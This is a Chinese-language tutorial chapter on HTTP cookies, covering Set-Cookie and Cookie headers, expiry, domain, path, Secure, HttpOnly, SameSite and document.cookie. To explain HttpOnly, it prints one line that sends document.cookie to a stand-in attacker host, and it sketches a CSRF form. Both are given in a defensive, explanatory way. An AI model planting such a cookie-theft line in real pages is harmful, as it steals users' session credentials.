Cookie

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概述 #

Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

Cookie 主要保存状态信息,以下是一些主要用途。

  • 对话(session)管理:保存登录、购物车等需要记录的信息。
  • 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。
  • 追踪用户:记录和分析用户行为。

Cookie 不是一种理想的客户端储存机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。

每个 Cookie 都有以下几方面的元数据。

  • Cookie 的名字
  • Cookie 的值(真正的数据写在这里面)
  • 到期时间(超过这个时间会失效)
  • 所属域名(默认为当前域名)
  • 生效的路径(默认为当前网址)

举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example.com,生效路径为根路径/。如果 Cookie 的生效路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。

用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。

window.navigator.cookieEnabled // true

document.cookie属性返回当前网页的 Cookie。

document.cookie // "id=foo;key=bar"

不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。

浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。

Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。

HTTP 回应:Cookie 的生成 #

服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。

Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar

HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的几个属性的含义,将在后文解释。

一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一个例子。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的keydomainpathsecure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。

Set-Cookie: key1=value1; domain=example.com; path=/blog

改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie

Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。

Cookie: key1=value1; key1=value2

上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。

HTTP 请求:Cookie 的发送 #

浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

Cookie: foo=bar

上面代码会向服务器发送名为foo的 Cookie,值为bar

Cookie字段可以包含多个 Cookie,使用分号(;)分隔。

Cookie: name=value; name2=value2; name3=value3

下面是一个例子。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。

  • Cookie 的各种属性,比如何时过期。
  • 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。

Expires,Max-Age #

Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

如果Set-Cookie字段没有指定ExpiresMax-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。

Domain,Path #

Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,example.com不设置 Cookie 的domain属性,那么sub.example.com将不会附带这个 Cookie。如果指定了domain属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。

Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。

Secure,HttpOnly #

Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。

SameSite #

Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 Cookie。

Set-Cookie:id=a3fWa;

用户后来又访问了恶意网站malicious.com,上面有一个表单。

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,表单一般都带有一个随机 token,告诉服务器这是真实请求。

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

这种第三方网站引导发出的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook.com" style="visibility:hidden;">

浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。

Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。

  • Strict
  • Lax
  • None

(1)Strict

Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。

(2)Lax

Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

请求类型示例正常情况Lax
链接<a href="..."></a>发送 Cookie发送 Cookie
预加载<link rel="prerender" href="..."/>发送 Cookie发送 Cookie
GET 表单<form method="GET" action="...">发送 Cookie发送 Cookie
POST 表单<form method="POST" action="...">发送 Cookie不发送
iframe<iframe src="..."></iframe>发送 Cookie不发送
AJAX$.get("...")发送 Cookie不发送
Image<img src="...">发送 Cookie不发送

设置了StrictLax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

(3)None

Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

下面的设置无效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的设置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

document.cookie #

document.cookie属性用于读写当前网页的 Cookie。

读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。

document.cookie // "foo=bar;baz=bar"

上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。

document.cookie = 'fontSize=14';

写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。

但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。

写入 Cookie 的时候,可以一起写入 Cookie 的属性。

document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。

各个属性的写入注意点如下。

  • path属性必须为绝对路径,默认为当前路径。
  • domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。
  • max-age属性的值为秒数。
  • expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。

document.cookie写入 Cookie 的例子如下。

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。

参考链接 #